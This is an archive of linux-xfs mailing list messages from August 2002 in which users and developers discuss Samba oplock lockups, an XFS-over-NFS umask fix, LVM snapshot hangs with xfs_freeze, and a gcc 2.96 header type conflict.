In-Reply-To: <3D5E75C4.90007@iastate.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checked: This message probably not SPAM X-Spam-Score: -3.4 X-Spam-Tests: IN_REP_TO X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang) X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Joseph, > We have production-level servers running the RH2.4.18+XFS kernel. We have found > under heavy load (NFS and samba) the filesystem will lock up completely, the > last thing being logged is: > > Aug 16 08:07:03 phobos smbd[8842]: request_oplock_break: no response received > to oplock break request to pid 23785 on port 39505 for dev = 802, inode = 173896 > 772, file_id = 126 > Aug 16 08:07:48 phobos kernel: lease timed out What version of Samba are you using? I also experienced these messages - but not the complete lockups you describe - they resulted in "busy inodes" being reported at umount time, but no corruption of any kind occurred as a result. Versions of samba prior to 2.2.5 have numerous bugs that cause oplock break requests to be missed - I reported these to the samba guys and a few patches went in for 2.2.5 to help out. I think a more general (but less-often hit) problem was found just after the 2.2.5 release as well. Moving to the SAMBA_2_2 CVS code from 4 July 2002 completely eliminated the problem of Samba letting oplock leases time out for me - and the problems that arose as a result of this went away. I too am hoping that the patches that went into 2.4.19 will help out with this too. Let me know if you do try the 2.4.19 CVS tree with the old version of samba and the hangs that you experience go away. Regards, Chris From owner-linux-xfs@oss.sgi.com Sun Aug 18 11:56:28 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7IIuSRw017287 for ; Sun, 18 Aug 2002 11:56:28 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7IIuSiq017286 for linux-xfs-outgoing; Sun, 18 Aug 2002 11:56:28 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from localhost.localdomain ([194.185.97.9]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7IIu8Rw017248 for ; Sun, 18 Aug 2002 11:56:18 -0700 Received: from localhost (matteo@localhost) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id g7IIohK01990; Sun, 18 Aug 2002 20:50:49 +0200 X-Authentication-Warning: localhost.localdomain: matteo owned process doing -bs Date: Sun, 18 Aug 2002 20:50:43 +0200 (CEST) From: Matteo Centonza X-X-Sender: matteo@localhost.localdomain To: Greg Freemyer cc: linux-xfs@oss.sgi.com Subject: Re: A more comprehensive backup inventory? [WAS: re[2]: Hopefully simple xfsrestore question] In-Reply-To: <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Greg, > Question for all: > Getting a list of which backups contain a specific file seems like a common need. > > Does anyone have a solution for this? > > Does Amanda or some other backup management software provide this ability? yes, AMANDA offer this facility (not natively). You can zcat and grep through the dump indices. Ciao, -m From owner-linux-xfs@oss.sgi.com Mon Aug 19 02:26:54 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7J9QsRw003540 for ; Mon, 19 Aug 2002 02:26:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7J9QsSZ003539 for linux-xfs-outgoing; Mon, 19 Aug 2002 02:26:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from unitek.ch (mail.swissrates.ch [195.141.131.66]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7J9QmRw003508 for ; Mon, 19 Aug 2002 02:26:49 -0700 Received: from unitek.ch (pc20.unitek.ch [194.191.110.32]) by unitek.ch (8.11.6+Sun/8.9.2) with ESMTP id g7J9U7c21223 for ; Mon, 19 Aug 2002 11:30:07 +0200 (MEST) Message-ID: <3D60BB4D.9010603@unitek.ch> Date: Mon, 19 Aug 2002 11:33:01 +0200 From: Patrick Fuerlinger User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: XFS permission BUG Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello, i have a problem with XFS over NFS and umask (Kernel 2.4.18-3-XFS-1.1). I have read about this Problem and there is a patch available. But i can't find them. Is there already a final Release with this fix, or a official Patch? thx Patrick Fuerlinger -- Patrick Fuerlinger, Unitek Engineering AG, 8001 Zuerich, Tel: 01-266-8832 From owner-linux-xfs@oss.sgi.com Mon Aug 19 03:21:23 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JALNRw004196 for ; Mon, 19 Aug 2002 03:21:23 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JALME2004195 for linux-xfs-outgoing; Mon, 19 Aug 2002 03:21:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JALGRw004167 for ; Mon, 19 Aug 2002 03:21:16 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id DAA08640 for ; Mon, 19 Aug 2002 03:24:08 -0700 (PDT) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id UAA22742; Mon, 19 Aug 2002 20:22:48 +1000 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id UAA33192; Mon, 19 Aug 2002 20:22:47 +1000 (AEST) Date: Mon, 19 Aug 2002 20:22:46 +1000 From: Nathan Scott To: Patrick Fuerlinger Cc: linux-xfs@oss.sgi.com Subject: Re: XFS permission BUG Message-ID: <20020819202246.A33210@wobbly.melbourne.sgi.com> References: <3D60BB4D.9010603@unitek.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3D60BB4D.9010603@unitek.ch>; from pf@unitek.ch on Mon, Aug 19, 2002 at 11:33:01AM +0200 X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 19, 2002 at 11:33:01AM +0200, Patrick Fuerlinger wrote: > Hello, hi, > i have a problem with XFS over NFS and umask (Kernel 2.4.18-3-XFS-1.1). > I have read about this Problem and there is a patch available. But i > can't find them. Is there already a final Release with this fix, or a > official Patch? The fix is only in CVS at this stage, I don't believe a new release has been done as yet with this included. The fix is trivial though, so you may be able to fix this yourself - the has_fs_struct() routine in fs/xfs/linux/xfs_iops.c (and its one caller) is the esssential change. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Mon Aug 19 09:57:27 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JGvRRw028280 for ; Mon, 19 Aug 2002 09:57:27 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JGvRn4028279 for linux-xfs-outgoing; Mon, 19 Aug 2002 09:57:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf28bis.bellsouth.net (mail028.mail.bellsouth.net [205.152.58.68]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JGvDRw028233 for ; Mon, 19 Aug 2002 09:57:13 -0700 Received: from TAZ2 ([66.156.4.66]) by imf28bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020819165954.OSPM10186.imf28bis.bellsouth.net@TAZ2>; Mon, 19 Aug 2002 12:59:54 -0400 Date: Mon, 19 Aug 2002 12:58:47 -0400 From: Greg Freemyer Subject: re[5]: 2 freeze/snapshot questions To: Adrian Head , Eric Sandeen cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020819165954.OSPM10186.imf28bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7JGvDRw028245 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Adrian, Thanks for the heads up. My current implementation is definitely not stable. (See below) Do you know if the VFS-lock patch is included in the 2.4.19 or 2.4.19-aa kernels? (I am running SuSE which is based on the -aa kernel, so I may have this functionality and not know it.) Does anyone know if there is a version of xfs/lvm that work together reliably to take snapshots under load? ====> My simple tests I just tried doing some snapshots under a couple of different i/o loads, and I found them unreliable with simultaneous write activity. I was using the latest SuSE kernel which I believe is based on the 2.4.19-pre1aa kernel. SuSE also has an experimental kernel based on 2.4.19-aa that I have not tried. For all cases I was using a simple script to invoke the snapshot process and I was attempting to create a 2.5 Gig snapshot volume: xfs_freeze -f /data lvcreate --snapshot -L 2500m --name Data_snap /dev/VG/Data xfs_freeze -u /data lvremove -f /dev/VG/Data_snap I was invoking the above script by hand, so there were several seconds minimum between each iteration. 1) With zero i/o, I did 10 snapshots with no lockups. 2) With read-only i/o, I also did 10 snapshots with no lockups. (i..e dd if=/data/largefile of=/dev/null bs=64k) 3) With read/write i/o, I had a lockup on my very first snapshot attempt. (i..e dd if=/data/largefile of=/data/junk bs=64k) The lockup occured on the lvcreate step. Issuing a xfs_freeze -u /data from a different ssh login, cleared the lockup. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com >> Snapshots should be able to be generated on an active filesystem in full >> flight. If you cannot do that then something is wrong. >> I have had many issues with LVM snapshots and XFS/xfs_freeze but that was >> a >> long time ago (last year and early this year) you might check the archives >> to >> see if the issue is something simular. For me I stopped using xfs_freeze >> and >> relied on the VFS-lock patch. >> I did have a problem that was time related. If I ran through snapshots >> manually everything worked. If I ran exactly the same commands in a >> script >> it would die. I don't think anyone was able to work it out. In the end I >> >> changed that way I was doing it. >> > I think I know what I was doing wrong. I had the script I was >> > writing/executing on the filesystem I was trying to snapshot. >> > >> > Bad idea!!!! >> > >> > I have moved my script to a drive I don't need to snapshot, and it seems >> to >> > be running reliably now. >> > >> > Before I figured this out, I locked up LVM so bad a couple of times that >> I >> > had to cycle power on the server. :< >> -- >> Adrian Head >> (Public Key available on request.) From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:32:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JIWnRw030335 for ; Mon, 19 Aug 2002 11:32:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JIWnG7030334 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:32:49 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta04.algx.net (chimta04.algx.net [216.99.233.79]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JIWhRw030306 for ; Mon, 19 Aug 2002 11:32:43 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx04.algx.net (iPlanet Messaging Server 5.1 HotFix 0.6 (built Apr 26 2002)) with ESMTP id <0H0X005APUSLC6@chimmx04.algx.net> for linux-xfs@oss.sgi.com; Fri, 16 Aug 2002 08:29:10 -0500 (CDT) Date: Fri, 16 Aug 2002 09:29:09 -0400 From: Danny Cox Subject: Conflicting Types Between .h and .c files To: XFS Mailing List Message-id: <1029504550.1808.5.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain Content-transfer-encoding: 7BIT X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Howdy! I just updated from CVS this AM, and am having type conflicts between the xfs .h and .c files on the type of kmem_zone. The .h file sez its: extern struct kmem_zone *; while the .c file sez its: kmem_zone_t *; While I know it's the same thing, the compiler (2.96 from RH) apparently thinks they're different. Further, I know that Linux likes the 'struct name' form, so that it's obvious that this var is a struct (or refers to a struct), rather than anything else. I've now "fixed" around 5 or 6 of these, and it finally compiles. Did I just catch the tree in a state of non-atomic commits? Thanks! -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:44:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JIirRw030697 for ; Mon, 19 Aug 2002 11:44:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JIirvh030696 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:44:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JIikRw030667 for ; Mon, 19 Aug 2002 11:44:47 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17grYt-0008My-00; Mon, 19 Aug 2002 19:47:35 +0100 Date: Mon, 19 Aug 2002 19:47:35 +0100 From: Christoph Hellwig To: Danny Cox Cc: XFS Mailing List Subject: Re: Conflicting Types Between .h and .c files Message-ID: <20020819194735.A32101@infradead.org> References: <1029504550.1808.5.camel@wiley> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029504550.1808.5.camel@wiley>; from DCox@SnapServer.com on Fri, Aug 16, 2002 at 09:29:09AM -0400 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 16, 2002 at 09:29:09AM -0400, Danny Cox wrote: > Howdy! > > I just updated from CVS this AM, and am having type conflicts between > the xfs .h and .c files on the type of kmem_zone. The .h file sez its: > > extern struct kmem_zone *; > > while the .c file sez its: > > kmem_zone_t *; > > While I know it's the same thing, the compiler (2.96 from RH) apparently I don't think that's valid. And at least gcc 3.2 doesn't complain.. > thinks they're different. Further, I know that Linux likes the 'struct > name' form, so that it's obvious that this var is a struct (or refers to > a struct), rather than anything else. In this case not, as the kmem_zone_t is an object opaque to it's user. Compare it to kmem_cache_t in þhe core Linux code. From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:49:21 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JInLRw030897 for ; Mon, 19 Aug 2002 11:49:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JInLQe030896 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:49:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta04.algx.net (chimta04.algx.net [216.99.233.79]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JInFRw030868 for ; Mon, 19 Aug 2002 11:49:15 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx04.algx.net (iPlanet Messaging Server 5.1 HotFix 0.6 (built Apr 26 2002)) with ESMTP id <0H1300FO4TQWH2@chimmx04.algx.net> for linux-xfs@oss.sgi.com; Mon, 19 Aug 2002 13:52:09 -0500 (CDT) Date: Mon, 19 Aug 2002 14:52:08 -0400 From: Danny Cox Subject: Re: Conflicting Types Between .h and .c files In-reply-to: <20020819194735.A32101@infradead.org> To: Christoph Hellwig Cc: XFS Mailing List Message-id: <1029783129.1147.37.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain; charset=ISO-8859-1 References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7JInFRw030869 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Christoph, On Mon, 2002-08-19 at 14:47, Christoph Hellwig wrote: > > while the .c file sez its: > > > > kmem_zone_t *; > > > > While I know it's the same thing, the compiler (2.96 from RH) apparently > > I don't think that's valid. And at least gcc 3.2 doesn't complain.. Yes, but 2.96 does. I'd think that several folks use 2.96, since that's the standard gcc from RH 7.2. > In this case not, as the kmem_zone_t is an object opaque to it's user. > Compare it to kmem_cache_t in þhe core Linux code. Okay, point taken. Nevertheless, the types between the .c and .h files should be consistent, whatever is chosen, no? -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:50:25 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JIoORw031038 for ; Mon, 19 Aug 2002 11:50:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JIoOce031037 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:50:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx1.tippett.com (user-112vvgq.biz.mindspring.com [66.47.254.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JIoIRw030981 for ; Mon, 19 Aug 2002 11:50:19 -0700 Received: from hermes.tippett.com (hermes.tippett.com [192.168.2.20]) by mx1.tippett.com (Postfix) with ESMTP id 12129181FDB0 for ; Mon, 19 Aug 2002 12:28:11 -0700 (PDT) Received: from tippett.com (felix.tippett.com [192.168.2.32]) by hermes.tippett.com (980427.SGI.8.8.8/8.7.3) with ESMTP id LAA11574 for ; Mon, 19 Aug 2002 11:52:34 -0700 (PDT) Message-ID: <3D613E8E.448A9016@tippett.com> Date: Mon, 19 Aug 2002 11:53:02 -0700 From: Christian Rice Organization: Tippett Studio X-Mailer: Mozilla 4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: grub and root partition with external log Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.8 required=5.0 tests=SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Perhaps I'm missing something, but I can't find any docs for booting with grub using XFS with an external log. I assume I have my /etc/fstab set correctly--I can mount up as a secondary drive no problem with the logdev option, but how should I change grub.conf? How does it know where to find the external log? I searched the mailing list, read the info, googled and deja'd to no avail. Any hammer to the forehead appreciated. -- christian rice director of technology tippett studio 510.649.9711 l--xr----- From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:53:54 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JIrsRw031235 for ; Mon, 19 Aug 2002 11:53:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JIrsdk031234 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:53:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JIrmRw031206 for ; Mon, 19 Aug 2002 11:53:49 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17grhh-0008Qv-00; Mon, 19 Aug 2002 19:56:41 +0100 Date: Mon, 19 Aug 2002 19:56:41 +0100 From: Christoph Hellwig To: Danny Cox Cc: Christoph Hellwig , XFS Mailing List Subject: Re: Conflicting Types Between .h and .c files Message-ID: <20020819195641.A32415@infradead.org> References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029783129.1147.37.camel@wiley>; from DCox@SnapServer.com on Mon, Aug 19, 2002 at 02:52:08PM -0400 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 19, 2002 at 02:52:08PM -0400, Danny Cox wrote: > > I don't think that's valid. And at least gcc 3.2 doesn't complain.. > > Yes, but 2.96 does. I'd think that several folks use 2.96, since > that's the standard gcc from RH 7.2. Gcc '2.96' is a development snapshot. Even if redhat ships it it's by now ways official. > > In this case not, as the kmem_zone_t is an object opaque to it's user. > > Compare it to kmem_cache_t in þhe core Linux code. > > Okay, point taken. Nevertheless, the types between the .c and .h files > should be consistent, whatever is chosen, no? No. Using structs in headers and typedefs in the actual source is very common, because you can use pointers to struct without needing the actual declararion. From owner-linux-xfs@oss.sgi.com Mon Aug 19 11:55:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JItXRw031409 for ; Mon, 19 Aug 2002 11:55:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JItXGS031408 for linux-xfs-outgoing; Mon, 19 Aug 2002 11:55:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from owl.warren-wilson.edu (warren-wilson.edu [63.243.103.98]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JItRRw031380 for ; Mon, 19 Aug 2002 11:55:28 -0700 Received: from warren-wilson.edu (eagle.warren-wilson.edu [10.0.0.4]) by owl.warren-wilson.edu (8.11.6/8.11.2) with SMTP id g7JInjQ03134 for ; Mon, 19 Aug 2002 14:49:45 -0400 X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: owl.warren-wilson.edu Message-Id: <200208191849.g7JInjQ03134@owl.warren-wilson.edu> Date: Mon, 19 Aug 2002 18:40:26 -0000 To: Subject: vanishing tree From: "James" X-Mailer: TWIG 2.7.6 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This is the second case of this happening on two isolated systems (running different kernels and having different setups). Last night my computer worked fine and I turned it off as I usually do with a standard halt, and I waited for it to turn itself off. It did, and I thought everything to be fine. When I turned on my computer this afternoon I got a kernel panic. It could not init my root partition! My root partition and my boot partition are on the same disk, just on separate partitions. They are both using XFS. I use GRUB as my bootloader. The kernel reads fine from its partition and grub loads okay. Nothing had changed since I last booted (I just wrote an e-mail and turned it off). I mounted my root partition with a rescue disk set. It mounted fine and a df showed that there were the right amount of bytes being used/free. Unfortunately, when I did a ls no files listed -- no output -- just a line of black. I am using the latest gentoo kernel with its XFS, preempt, etc patches pre-applied. Any clues? -James Beidler (jbeidler@warren-wilson.edu) From owner-linux-xfs@oss.sgi.com Mon Aug 19 12:33:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JJXsRw031935 for ; Mon, 19 Aug 2002 12:33:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JJXsUf031934 for linux-xfs-outgoing; Mon, 19 Aug 2002 12:33:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta02.algx.net (chimta02.algx.net [216.99.233.77]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JJXjRw031906 for ; Mon, 19 Aug 2002 12:33:45 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx02.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H1300IUXUN843@chimmx02.algx.net> for linux-xfs@oss.sgi.com; Mon, 19 Aug 2002 14:11:33 -0500 (CDT) Date: Mon, 19 Aug 2002 15:11:32 -0400 From: Danny Cox Subject: Re: Conflicting Types Between .h and .c files In-reply-to: <20020819195641.A32415@infradead.org> To: Christoph Hellwig Cc: XFS Mailing List Message-id: <1029784293.1147.49.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain; charset=ISO-8859-1 References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> <20020819195641.A32415@infradead.org> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7JJXjRw031907 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Christoph, On Mon, 2002-08-19 at 14:56, Christoph Hellwig wrote: > On Mon, Aug 19, 2002 at 02:52:08PM -0400, Danny Cox wrote: > > > I don't think that's valid. And at least gcc 3.2 doesn't complain.. > > > > Yes, but 2.96 does. I'd think that several folks use 2.96, since > > that's the standard gcc from RH 7.2. > > Gcc '2.96' is a development snapshot. Even if redhat ships it it's by > now ways official. Okay, one more try, and I'll admit defeat, and shut up: "Official" or not, many folks who use XFS will compile it with gcc 2.96, because that's the version they get by default. They must make the changes if they wish to acutally *use* XFS. Even given that it's a simple change, I doubt that a non-C-programmer can do it. > > > In this case not, as the kmem_zone_t is an object opaque to it's user. > > > Compare it to kmem_cache_t in þhe core Linux code. > > > > Okay, point taken. Nevertheless, the types between the .c and .h files > > should be consistent, whatever is chosen, no? > > No. Using structs in headers and typedefs in the actual source is very > common, because you can use pointers to struct without needing the actual > declararion. Yes, it's common. Yes, it's acceptable C. But it forces some people to make changes to their XFS tree that will continue to haunt them until they upgrade to a new compiler, and others to completly abandon XFS because it won't compile for them. You seem to be pushing a legalistic stance: "This is the proper way to do it, so we're not going to change.", while I'm pushing for a relativly small code change that will allow more people to use XFS, and thereby gain a wider exposure/acceptance. -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Mon Aug 19 12:38:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JJcFRw032167 for ; Mon, 19 Aug 2002 12:38:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JJcFGl032166 for linux-xfs-outgoing; Mon, 19 Aug 2002 12:38:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JJbxRw032091 for ; Mon, 19 Aug 2002 12:37:59 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA67315; Mon, 19 Aug 2002 14:40:45 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA95126; Mon, 19 Aug 2002 14:40:45 -0500 (CDT) Subject: Re: Conflicting Types Between .h and .c files From: Eric Sandeen To: Danny Cox Cc: Christoph Hellwig , XFS Mailing List In-Reply-To: <1029783129.1147.37.camel@wiley> References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 19 Aug 2002 14:40:08 -0500 Message-Id: <1029786008.12970.42.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7JJc0Rw032097 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Danny - FWIW, xfs compiles for me with no warnings, using gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110) on today's CVS tree. -Eric On Mon, 2002-08-19 at 13:52, Danny Cox wrote: > Christoph, > > On Mon, 2002-08-19 at 14:47, Christoph Hellwig wrote: > > > while the .c file sez its: > > > > > > kmem_zone_t 